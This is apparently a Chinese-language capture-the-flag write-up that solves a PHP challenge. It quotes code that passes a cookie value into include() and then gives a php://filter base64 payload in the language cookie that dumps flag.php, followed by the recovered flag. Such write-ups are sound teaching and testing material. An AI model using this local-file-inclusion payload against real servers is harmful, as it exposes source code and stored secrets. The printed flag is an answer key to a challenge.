题目介绍
这题主要使用php伪协议来解
php://filter 是一个可以在 PHP 中进行数据过滤和流处理的协议。
题目主页告诉我们了一个目录和flag就在flag.php里面
先打开源码看一下有没有什么信息
发现一段php代码,我们来审计一下
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
第五行
$lan = $_COOKIE['language'];
第十四行
@include($lan.".php");
在cookie中的内容language 会被传到变量$lan,然后在@include($lan.".php")被调用与执行,同时拼接上.php,所以我们在构造payload的时候后面不需要在加上后缀。
payload
Cookie:language=php://filter/convert.base64-encode/resource=/var/www/html/flag
操作演示(方法一:hackbar)
base64解码工具直接解码得到flag
操作演示(方法二:brupsuit)
选中内容鼠标右击放到Decoder模块去解密
flag="cyberpeace{f32bb194c8b8cbb2e97d27f0f6b179e4}